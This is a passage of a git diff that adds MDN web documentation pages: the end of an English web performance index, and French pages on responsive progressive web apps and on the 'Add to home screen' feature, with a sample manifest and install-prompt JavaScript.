+ <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences ... or it can significantly harm download time, render time, in app performance, battery life, and user experience. <span class="veryhardreadability"><span><span>This article outlines some JavaScript best practices that can ensure even complex content's performance is the highest possible.</span></span></span></dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt>
+ <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU, and battery life, it is important to consider the performance of your web content on these platforms. This article also looks at mobile-specific performance considerations.</dd>
+ <dt>Web font performance</dt>
+ <dd>An often overlooked aspect of performance landscape are web fonts. Web fonts are more prominent in web design than ever, yet many developers simply embed them from a third party service and think nothing of it. In this article, we'll covers methods for getting your font files as small as possible with efficient file formats and sub setting. From there, we'll go on to talk about how browsers text, and how you can use CSS and JavaScript features to ensure your fonts render quickly, and with minimal disruption to the user experience.</dd>
+ <dt>Performance bottlenecks</dt>
+ <dd></dd>
+ <dt>Understanding bandwidth</dt>
+ <dd>
+ <div>
+ <div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span><span>Bandwidth is the amount of data measured in Megabits(Mb) or Kilobits(Kb) that one can send per second. </span></span><span class="veryhardreadability"><span><span>This article explains the role of bandwidth in media-rich internet applications, how you can measure it, and how you can optimize applications to make the best use of available bandwidth</span></span></span><span><span>.</span></span></div>
+ </div>
+ </dd>
+ <dd></dd>
+ <dt>The role of TLS in performance</dt>
+ <dd>
+ <p>TLS—or HTTPS as we tend to call it—is crucial in creating secure and safe user experiences. While hardware has reduced the negative impacts TLS has had on server performance, it still represents a substantial slice of the time we spend waiting for browsers to connect to servers. This article explains the TLS handshake process, and offers some tips for reducing this time, such as OCSP stapling, HSTS preload headers, and the potential role of resource hints in masking TLS latency for third parties.</p>
+ </dd>
+ <dt>Reading performance charts</dt>
+ <dd>Developer tools provide information on performance, memory, and network requests. Knowing how to read <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">waterfall</a> charts, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">call trees</a>, traces, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">flame charts</a> , and <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">allocations</a> in your browser developer tools will help you understand waterfall and flame charts in other performance tools.</dd>
+ <dt>Alternative media formats</dt>
+ <dd>When it comes to images and videos, there are more formats than you're likely aware of. Some of these formats can take your highly optimized media-rich pages even further by offering additional reductions in file size. In this guide we'll discuss some alternative media formats, how to use them responsibly so that non-supporting browsers don't get left out in the cold, and some advanced guidance on transcoding your existing assets to them.</dd>
+ <dt>Analyzing JavaScript bundles</dt>
+ <dd>No doubt, JavaScript is a big part of modern web development. While you should always strive to reduce the amount of JavaScript you use in your applications, it can be difficult to know where to start. <span class="veryhardreadability"><span><span>In this guide, we'll show you how to analyze your application's script bundles, so you know </span></span><em><span>what</span></em><span><span> you're using, as well how to detect if your app contains duplicated scripts between bundles</span></span></span><span><span>.</span></span></dd>
+ <dt><a href="/en-US/docs/Web/Performance/Lazy_loading">Lazy loading</a></dt>
+ <dd>It isn't always necessary to load all of a web applications assets on initial page load. Lazy Loading is deferring the loading of assets on a page, such as scripts, images, etc., on a page to a later point in time i.e when those assets are actually needed.</dd>
+ <dt>Lazy-loading JavaScript with dynamic imports</dt>
+ <dd>When developers hear the term "lazy loading", they immediately think of below-the-fold imagery that loads when it scrolls into the viewport. But did you know you can lazy load JavaScript as well? In this guide we'll talk about the dynamic import() statement, which is a feature in modern browsers that loads a JavaScript module on demand. Of course, since this feature isn't available everywhere, we'll also show you how you can configure your tooling to use this feature in a widely compatible fashion.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">Controlling resource delivery with resource hints</a></dt>
+ <dd>Browsers often know better than we do when it comes to resource prioritization and delivery however they're far from clairyovant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Performance_budgets">Performance Budgets</a></dt>
+ <dd>Marketing, design, and sales needs, and developer experience, often ad bloat, third-party scripts, and other features that can slow down web performance. To help set priorities, it is helpful to set a performance budget: a set of restrictions to not exceed during the development phase. In this article, we'll discuss creating and sticking to a performance budget. </dd>
+ <dt><a href="/en-US/docs/Web/Performance/Checklist">Web performance checklist</a></dt>
+ <dd>A performance checklist of features to consider when developing applications with links to tutorials on how to implement each feature, include service workers, diagnosing performance problems, font loading best practices, client hints, creating performant animations, etc.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></dt>
+ <dd>A concise checklist of performance considerations impacting mobile network users on hand-held, battery operated devices.</dd>
+</dl>
+
+<h3 id="App_Performance">App Performance</h3>
+
+<dl>
+ <dt><a href="/en-US/Apps/Developing/Performance/Performance_fundamentals">Performance fundamentals</a></dt>
+ <dd>A wide overview of Web application performance, what it is, how the browser helps to improve it, and what tools and processes you can use to test and further improve it.</dd>
+ <dt><a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizing startup performance</a></dt>
+ <dd>Tips and suggestions to help you improve start-up performance, both when writing a new app and when porting an app from another platform to the Web.</dd>
+ <dt><a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Profiling with the built-in profiler</a></dt>
+ <dd>Learn how to profile app performance with Firefox's built-in profiler.</dd>
+ <dt><a href="/en-US/Apps/Build/Performance/CSS_JavaScript_animation_performance">CSS and JavaScript animation performance</a></dt>
+ <dd>Animations are critical for a pleasurable user experience. This article discusses the performance differences between CSS- and JavaScript-based animations. </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Performance">View all articles about performance...</a></span></p>
+
+<h2 id="See_also">See also</h2>
+
+<p>HTML</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/picture">The <code>&lt;picture&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The <code>&lt;video&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/source">The <code>&lt;source&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/img#Attributes">The <code>&lt;img&gt; srcset</code> attribute</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ </a>)</li>
+</ul>
+
+<p>CSS</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/will-change">will-change</a></li>
+ <li>GPU v CPU</li>
+ <li>Measuring layout</li>
+ <li>Font-loading best practices</li>
+</ul>
+
+<p>JavaScript</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></li>
+ <li><a href="/en-US/docs/Glossary/Garbage_collection">Garbage collection</a></li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></li>
+</ul>
+
+<p>APIs</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Performance_API">Performance API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Capabilities_API/Using_the_Media_Capabilities_API">Media Capabilities API</a></li>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceNavigationTiming">PerformanceNavigationTiming</a></li>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/deviceMemory">Navigator.deviceMemory</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a></li>
+ <li><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">Using the User Timing AP</a>I</li>
+ <li><a href="/en-US/docs/Web/API/Long_Tasks_API">Long Tasks API</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMHighResTimeStamp">High Resolution Timing API</a> (<a href="https://w3c.github.io/hr-time/">https://w3c.github.io/hr-time/)</a></li>
+ <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility</a></li>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>
+  <ul>
+   <li style="margin-top: 0.25em;"><a href="/en-US/docs/Web/API/Window/requestIdleCallback">requestIdleCallback() </a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></li>
+ <li>Resource Hints - <a href="/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">dns-prefetch</a>, preconnect, <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">prefetch</a>, and prerender</li>
+ <li><a href="/en-US/docs/Web/API/FetchEvent/navigationPreload">Fetchevent.navigationPreload</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceServerTiming">Performance Server Timing API</a></li>
+</ul>
+
+<p>Headers</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-encoding</a></li>
+ <li>HTTP/2</li>
+ <li><a href="/en-US/docs/Glossary/GZip_compression">gZip</a></li>
+ <li>Client Hints</li>
+</ul>
+
+<p>Tools</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance">Performance in Firefox Developer Tools</a></li>
+ <li>Flame charts</li>
+ <li>The Network panel</li>
+ <li>Waterfall charts</li>
+</ul>
+
+<p>Additional Metrics</p>
+
+<ul>
+ <li>Speed Index and Perceptual Speed Index</li>
+</ul>
+
+<p>Best Practices</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a>
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">PWA</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></li>
+ <li>Content Delivery Networks (CDN)</li>
+</ul>
diff --git a/files/fr/web/progressive_web_apps/adaptative/index.html b/files/fr/web/progressive_web_apps/adaptative/index.html
new file mode 100644
index 0000000000..478c6f6a7c
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/adaptative/index.html
@@ -0,0 +1,77 @@
+---
+title: Adaptative
+slug: Web/Progressive_web_apps/Adaptative
+tags:
+  - Applications
+  - Design adaptatif
+  - Media Queries
+  - flexbox
+  - viewport
+translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
+---
+<div class="column-container summary">
+<div class="column-11">Les applications web adaptatives utilisent des technologies comme les media queries et viewport pour être sûre que leur interface convient avec tout les facteurs de forme: bureau, téléphone, tablette, ou peut importe ce qui viendra après.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12650/responsive.svg"></div>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/Apps/app_layout/responsive_design_building_blocks" lang="fr">Les fondations du design adaptatif</a></dt>
+ <dd>Apprendre les bases du design adaptatif, un sujet essentiel pour l'affichage des applications web modernes.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Modern/Responsive/Mobile_first" lang="en">Mobile avant tout (<em>Mobile first</em>)</a></dt>
+ <dd>Souvent lors de la création de l'affichage d'une application adaptative, il est judicieux de créer en premier le rendu sur téléphone mobile, et d'utiliser ce rendu comme base pour concevoir les écrans plus larges.</dd>
+</dl>
+
+<h2 id="Technologies">Technologies</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Technologie</th>
+   <th scope="col">Description</th>
+   <th scope="col">Résumé du support</th>
+   <th scope="col">Dernière spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Media_Queries">Media queries</a></td>
+   <td>Permet de définir des conditions permettant aux styles d'être appliqués aux contenus en fonction de l'affichage disponible (<em>viewport</em>), de la résolution, de l'orientation, etc.</td>
+   <td>Répandu sur les navigateurs modernes (<a href="/fr/docs/Web/CSS/Media_Queries#Browser_compatibility">plus de détails</a>)</td>
+   <td><a href="https://drafts.csswg.org/mediaqueries-4/">Media Queries Level 4</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/@viewport">@viewport</a>/<a href="/fr/docs/Mozilla/Mobile/Viewport_meta_tag">viewport meta tag</a></td>
+   <td>Contrôler la configuration du <em>viewport</em>, principalement sur les appareils mobiles.</td>
+   <td>@viewport: Expérimental (<a href="/fr/docs/Web/CSS/@viewport#Browser_compatibility">plus de détails</a>)<br>
+    <em>Viewport meta tag</em>: Répandu sur les appareils mobiles modernes</td>
+   <td><a href="https://drafts.csswg.org/css-device-adapt/#the-atviewport-rule">CSS Device Adaptation Module Level 1</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+   <td>Une fonctionnalité CSS très utile pour créer une mise en page flexible et adaptative.</td>
+   <td>Répandu sur les navigateurs modernes (<a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout#Browser_compatibility">plus de détail</a>)</td>
+   <td><a href="https://drafts.csswg.org/css-flexbox-1/">CSS Flexible Box Layout Module Level 1</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Outils">Outils</h2>
+
+<dl>
+ <dt><a class="external" href="https://modernizr.com/">Modernizr</a></dt>
+ <dd>Une bibliothèque d'outils de détection des fonctionnalités pour appliquer différents CSS ou JS en fonctions de comment les différentes fonctionnalités CSS/JS sont supportées.</dd>
+ <dt><a class="external" href="https://code.google.com/archive/p/css3-mediaqueries-js/">css3-mediaqueries-js</a></dt>
+ <dd>Un <em>polyfill</em> en JavaScript pour assurer le support de <em>media query</em> aux anciennes versions de IE (5+.)</dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<dl>
+ <dt><a href="/fr/Apps/Design/Design_graphique_pour_les_sites_responsiveGraphics_for_responsive_sites" lang="en">Graphiques dans les sites adaptatifs</a></dt>
+ <dd>Points à garder à l'esprit lors de la conception de graphiques pour des sites ou des applications adaptatives.</dd>
+ <dt><a href="/fr/Apps/Design/Patrons_navigation_adaptative" lang="en">Modèle de navigation adaptative</a></dt>
+ <dd>Comment faire une interface aussi ressemblante et fonctionnelle sur téléphone mobile que sur bureau? Apprenez comment concevoir des interfaces qui changent pour s'adapter à l'écran de l'utilisateur.</dd>
+</dl>
diff --git a/files/fr/web/progressive_web_apps/ajouter_a_lecran_daccueil_a2hs/index.html b/files/fr/web/progressive_web_apps/ajouter_a_lecran_daccueil_a2hs/index.html
new file mode 100644
index 0000000000..65f077b50d
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/ajouter_a_lecran_daccueil_a2hs/index.html
@@ -0,0 +1,240 @@
+---
+title: Ajouter à l'écran d'accueil
+slug: Web/Progressive_web_apps/ajouter_a_lecran_daccueil_a2hs
+tags:
+  - Ajouter à l'écran d'accueil
+  - HTML
+  - Manifest
+  - PWA
+translation_of: Web/Progressive_web_apps/Add_to_home_screen
+---
+<p class="summary">Ajouter à l’écran d’accueil (A2HS en abrégé) est une fonctionnalité disponible dans les navigateurs pour smartphones modernes qui permet aux développeurs d’ajouter facilement et rapidement un raccourci à leur écran d’accueil, représentant leur application Web. Ce guide explique comment utiliser A2HS et ce que vous devez faire en tant que développeur pour permettre à vos utilisateurs d’en tirer parti.</p>
+
+<h2 id="Pourquoi_A2HS">Pourquoi A2HS?</h2>
+
+<p>On pense que A2HS fait partie de la philosophie des applications Web progressives : offrir aux applications Web les mêmes avantages en matière d'expérience utilisateur que les applications natives. Cela fait partie du simple geste d’accéder à une application en appuyant sur son icône sur votre écran d’accueil, puis en l’affichant proprement dans sa propre fenêtre. A2HS rend cela possible.</p>
+
+<h2 id="Quels_navigateurs_prennent_en_charge_A2HS">Quels navigateurs prennent en charge A2HS?</h2>
+
+<p>A2HS est pris en charge par Mobile Chrome / Android Webview depuis la version 31, Opera pour Android depuis la version 32 et Firefox pour Android depuis la version 58 .</p>
+
+<h2 id="Comment_l'utiliser">Comment l'utiliser?</h2>
+
+<p>Nous avons écrit un exemple de site Web très simple ( voir la démo, et le code source ) qui ne fait pas grand chose, mais qui a été développé avec le code nécessaire pour pouvoir l'ajouter à un écran d'accueil. en tant qu'agent de service enregistré pour lui permettre d'être utilisé en mode hors connexion. L'exemple montre une série d'images de renard.</p>
+
+<p>Si vous avez Firefox pour Android, utilisez-le pour accéder à notre démonstration à <code>https://mdn.github.io/pwa-examples/a2hs/</code> . Vous verrez des images de renard, mais plus important encore, vous verrez une icône "accueil" avec une icône plus (+) à l'intérieur: il s'agit de l'icône "Ajouter à l'écran d'accueil" affichée pour tout site doté de A2HS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15762/add-to-home-screen-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 64px; margin: 0px auto; width: 500px;"></p>
+
+<p> </p>
+
+<p> </p>
+
+<p>Appuyez sur cette icône pour afficher une bannière de confirmation. Une pression sur le gros bouton + <em>AJOUTER À L'ÉCRAN D'ACCUEIL</em> termine l'action et ajoute l'application à l'écran d'accueil. (Dans Android 8 et versions ultérieures, une boîte de dialogue d'autorisation au niveau du système "Ajouter à l'écran d'accueil" s'affiche en premier.)</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15772/fx-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 421px; margin: 0px auto; width: 700px;"></p>
+
+<p>Si vous avez Mobile Chrome disponible, l'expérience est légèrement différente. lors du chargement du site, une bannière d’installation apparaît vous demandant si vous souhaitez ajouter cette application à votre écran d’accueil.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15771/chrome-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 421px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Note</strong> : Pour en savoir plus sur les bannières d'installation de Chrome, consultez l'article Web Installer des bannières Web App .</p>
+</div>
+
+<p> </p>
+
+<p>Si vous choisissez de ne pas l'ajouter à votre écran d'accueil à ce stade, vous pourrez le faire ultérieurement à l'aide de l'icône <em>Ajouter à l'écran d'accueil</em> dans le menu principal de Chrome.</p>
+
+<p>Quel que soit le navigateur que vous utilisez, lorsque vous choisissez d'ajouter l'application à votre écran d'accueil, celle-ci s'affiche avec un titre abrégé, de la même manière que les applications natives.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15770/a2hs-on-home-screen.png" style="border-style: solid; border-width: 1px; display: block; height: 243px; margin: 0px auto; width: 400px;"></p>
+
+<p>Cet icône ouvre le site, mais en tant que WebApp, vous ne verrez plus l'interface utilisateur du navigateur.</p>
+
+<h2 id="Que_faut-il_pour_utiliser_A2HS">Que faut-il pour utiliser A2HS?</h2>
+
+<p> </p>
+
+<p>Pour permettre à votre application d'être ajoutée à un écran d'accueil, vous devez disposer des éléments suivants:</p>
+
+<ul>
+ <li>Un site en HTTPS - Internet est de plus en plus plus sécurisée et de nombreuses technologies modernes (A2HS incluses) ne fonctionneront que dans des contextes sécurisés.</li>
+ <li>Avoir un fichier "manifest" contenant les champs appropriés, lié à partir de l'en-tête HTML.</li>
+ <li>Avoir une icône disponible pour l'affichage sur l'écran d'accueil.</li>
+ <li>Chrome exige en outre que l'application ait un agent de service enregistré (par exemple, pour pouvoir fonctionner en mode hors connexion).</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Manifest">Manifest</h3>
+
+<p>Le "manifest" est un fichier écrit au format JSON standard et doit être placé quelque part dans le répertoire de votre application (il est préférable que le <code><em>fichier.webmanifest</em></code> soit à la racine du site) avec le nom <code><em>fichier</em>.webmanifest</code> (nous avons choisi <code>manifest.webmanifest</code> ). Il contient plusieurs champs qui définissent certaines informations sur l'application Web et sur son comportement. .</p>
+
+<div class="note">
+<p><strong>Note</strong> : L'extension <code>.webmanifest</code> est spécifiée dans la section Enregistrement du type de fichier, mais les navigateurs prennent aussi en charge les manifest avec d'autres extensions appropriées, par exemple <code>.json</code> .</p>
+</div>
+
+<p> </p>
+
+<p>Les champs nécessaires pour A2HS sont les suivants:</p>
+
+<ul>
+ <li><code>background_color</code> : spécifie une couleur d'arrière-plan à utiliser dans certains contextes d'application. Le plus pertinent pour A2HS est l'écran de démarrage qui s'affiche lorsque l'icône de l'application sur l'écran d'accueil est activée et qu'elle commence à se charger (elle ne s'affiche actuellement que lorsque des applications ont été ajoutées à l'écran d'accueil par Chrome).</li>
+ <li><code>display</code> : Spécifie comment l'application doit être affichée. Pour que cela ressemble à une application distincte (et pas seulement à une page Web), vous devez choisir une valeur telle que <code>fullscreen</code> (aucune interface utilisateur n'est affichée) ou <code>standalone</code> (très similaire, mais des éléments d'interface utilisateur au niveau du système tels que la barre d'état. pourrait être visible).</li>
+ <li><code>icons</code> : spécifie les icônes à utiliser par le navigateur pour représenter l'application à différents endroits (par exemple sur le sélecteur de tâches ou, plus important encore, sur l'écran d'accueil). Nous n'en avons inclus qu'un dans notre démo.</li>
+ <li><code>name</code> et <code>short_name</code> : Ces champs fournissent un nom d'application à afficher lors de la représentation de l'application à différents endroits. <code>name</code> fournit le nom complet de l'application et <code>short_name</code> fournit un nom abrégé à utiliser lorsque l'espace disponible est insuffisant pour afficher le nom complet. Nous vous conseillons de fournir les deux si le nom de votre application est long.</li>
+ <li><code>start_url</code> : fournit un chemin d'accès de l'application. Notez qu'il doit s'agir d'une URL pointant vers l'index du site, par rapport à l'URL du "manifest". Sachez également que Chrome en a besoin avant d'afficher la bannière d'installation, tandis que Firefox ne l'exige pas pour afficher l'icône.</li>
+</ul>
+
+<p>Le fichier "manifest" de notre exemple ressemble à ceci:</p>
+
+<pre class="brush: json">{
+  "background_color": "purple",
+  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
+  "display": "fullscreen",
+  "icons": [
+    {
+      "src": "icon/fox-icon.png",
+      "sizes": "192x192",
+      "type": "image/png"
+    }
+  ],
+  "name": "Awesome fox pictures",
+  "short_name": "Foxes",
+  "start_url": "/pwa-examples/a2hs/index.html"
+}</pre>
+
+<h3 id="Icône">Icône</h3>
+
+<p> </p>
+
+<p>Comme indiqué dans le "manifest" ci-dessus, nous incluons une icône de 192 x 192 px. Vous pouvez inclure plus de tailles si vous le souhaitez. Android choisira la taille la plus appropriée pour chaque cas d'utilisation différent. Vous pouvez également décider d'inclure différents types d'icônes afin que les appareils puissent utiliser le meilleur qu'ils puissent (par exemple, Chrome prend déjà en charge le format WebP).</p>
+
+<p>Notez que le membre de <code>type</code> dans l'objet de chaque icône spécifie le type MIME de l'icône, afin que le navigateur puisse rapidement identifier le type de l'icône, puis l'ignorer et passer à une autre icône s'il ne le prend pas en charge.</p>
+
+<p>Pour ce qui est de la conception de l’icône, vous devez suivre les mêmes pratiques que vous suivriez pour n’importe quelle icône Android (voir les directives de conception d’icône Android ).</p>
+
+<h3 class="highlight-spanned" id="Lier_le_code_HTML_au_manifest">Lier le code HTML au "manifest"</h3>
+
+<p>Pour terminer la configuration de votre "manifest", vous devez le référencer à partir du code HTML de la page d'accueil de votre application:</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt; link rel = " manifest " href = " </code></pre>
+
+<p>Les navigateurs prenant en charge A2HS sauront où chercher votre manifeste une fois celui-ci en place.</p>
+
+<h2 id="Qu'est-ce_que_A2HS_ne_vous_donne_pas">Qu'est-ce que A2HS ne vous donne pas?</h2>
+
+<p> </p>
+
+<p>N'oubliez pas que lorsque vous ajoutez une application à votre écran d'accueil, cela la rend simplement facilement accessible. Elle ne télécharge pas les ressources et les données de l'application sur votre appareil et ne la rend pas disponible hors connexion, ou quelque chose du genre. Pour que votre application fonctionne en mode hors connexion, vous devez utiliser l' API Service Worker pour gérer le stockage hors connexion et, si nécessaire, le stockage Web ou IndexedDB pour stocker ses données.</p>
+
+<p>Dans notre exemple d'application, nous venons d'utiliser un agent de service pour stocker tous les fichiers nécessaires. Le fichier <code><a class="external external-icon" href="https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js" rel="noopener">index.js</a></code> est inscrit sur le site avec le bloc de code final dans le fichier <code><a class="external external-icon" href="https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js" rel="noopener">index.js</a></code> . Nous mettons ensuite en cache toutes les ressources du site à l'aide de l' API de cache et les servons à partir du cache plutôt que du réseau à l'aide du code <a class="external external-icon" href="https://github.com/mdn/pwa-examples/blob/master/a2hs/sw.js" rel="noopener">contenu</a> dans le fichier <a class="external external-icon" href="https://github.com/mdn/pwa-examples/blob/master/a2hs/sw.js" rel="noopener">sw.js.</a></p>
+
+<h2 id="A2HS_sur_le_bureau">A2HS sur le bureau</h2>
+
+<p>Bien que conçu à l'origine pour améliorer l'expérience utilisateur sur les systèmes d'exploitation mobiles, il existe également une technique pour rendre les PWA installables sur les plates-formes de bureau.</p>
+
+<div class="note">
+<p><strong>Note</strong> : au moment de la rédaction de ce document, les fonctionnalités décrites ci-dessous n'étaient prises en charge que par les versions les plus récentes de Chrome: par défaut sous Windows et derrière l'indicateur <code>#enable-desktop-pwas</code> sous macOS.</p>
+</div>
+
+<p> </p>
+
+<h3 class="highlight-spanned" id="Ajout_d'un_bouton_d'installation">Ajout d'un bouton d'installation</h3>
+
+<p>Pour rendre notre PWA installable sur le bureau, nous avons d’abord ajouté un bouton à notre document pour permettre aux utilisateurs de procéder à l’installation. Ce bouton n’est pas automatiquement disponible sur les applications de bureau et l’installation doit être déclenchée par un geste de l’utilisateur:</p>
+
+<pre class="brush: html">&lt;button class="add-button"&gt;Add to home screen&lt;/button&gt;</pre>
+
+<p>Nous lui avons ensuite donné un style simple:</p>
+
+<pre class="brush: css">.add-button {
+  position: absolute;
+  top: 1px;
+  left: 1px;
+}</pre>
+
+<h3 class="highlight-spanned" id="JavaScript_pour_gérer_l'installation">JavaScript pour gérer l'installation</h3>
+
+<p>Au bas de notre <a class="external external-icon" href="https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js" rel="noopener">fichier <code>index.js</code></a> , nous avons ajouté du JavaScript pour gérer l'installation. Tout d'abord, nous déclarons une variable <code>deferredPrompt</code> (que nous expliquerons plus tard), obtenons une référence à notre bouton d'installation et le configurons pour <code>display: none</code>:</p>
+
+<pre class="brush: js">let deferredPrompt;
+const addBtn = document.querySelector('.add-button');
+addBtn.style.display = 'none';</pre>
+
+<p>Nous masquons le bouton initialement car le PWA ne sera pas disponible pour l’installation tant qu’il ne respectera pas les critères A2HS. Lorsque cela se produit, les navigateurs prenant en charge déclenchent un événement <code>beforeinstallprompt</code> . Nous pouvons ensuite utiliser un gestionnaire comme celui ci-dessous pour gérer l'installation:</p>
+
+<p> </p>
+
+<pre class="brush: js">window.addEventListener('beforeinstallprompt', (e) =&gt; {
+  // Prevent Chrome 67 and earlier from automatically showing the prompt
+  e.preventDefault();
+  // Stash the event so it can be triggered later.
+  deferredPrompt = e;
+  // Update UI to notify the user they can add to home screen
+  addBtn.style.display = 'block';
+
+  addBtn.addEventListener('click', (e) =&gt; {
+    // hide our user interface that shows our A2HS button
+    addBtn.style.display = 'none';
+    // Show the prompt
+    deferredPrompt.prompt();
+    // Wait for the user to respond to the prompt
+    deferredPrompt.userChoice.then((choiceResult) =&gt; {
+        if (choiceResult.outcome === 'accepted') {
+          console.log('User accepted the A2HS prompt');
+        } else {
+          console.log('User dismissed the A2HS prompt');
+        }
+        deferredPrompt = null;
+      });
+  });
+});</pre>
+
+<p> </p>
+
+<p>Ici il faut:</p>
+
+<ul>
+ <li>Appeler <code>Event.preventDefault()</code> pour empêcher Chrome 67 et les versions antérieures d'appeler automatiquement l'invite d'installation (ce comportement a été modifié dans Chrome 68).</li>
+ <li>Stocker l'objet événement dans la variable <code>deferredPrompt</code> afin qu'il puisse être utilisé ultérieurement pour effectuer l'installation réelle.</li>
+ <li>Configurer le bouton  <code>display: block</code> afin qu'il apparaisse dans l'interface utilisateur sur laquelle l'utilisateur peut cliquer.</li>
+ <li>Définir un gestionnaire de <code>click</code> pour le bouton.</li>
+</ul>
+
+<p>Le gestionnaire de clics contient les étapes suivantes:</p>
+
+<ul>
+ <li>Cacher à nouveau le bouton avec <code>display: none</code> - il n'est plus nécessaire une fois l'application installée.</li>
+ <li>Utilisez la méthode <code>prompt()</code> disponible sur l'objet d'événement <code>beforeinstallprompt</code> (stocké dans <code>deferredPrompt</code> ) pour déclencher l'affichage de l'invite d'installation.</li>
+ <li>Répondez à l'interaction de l'utilisateur avec l'invite à l'aide de la propriété <code>userChoice</code> , de nouveau disponible sur l'objet d'événement <code>beforeinstallprompt</code> .</li>
+ <li>Définissez <code>deferredPrompt</code> sur null car il n'est plus nécessaire.</li>
+</ul>
+
+<p>Ainsi, lorsque vous cliquez sur le bouton, l'invite d'installation apparaît.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16281/chrome-desktop-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 163px; margin: 0px auto; width: 300px;"></p>
+
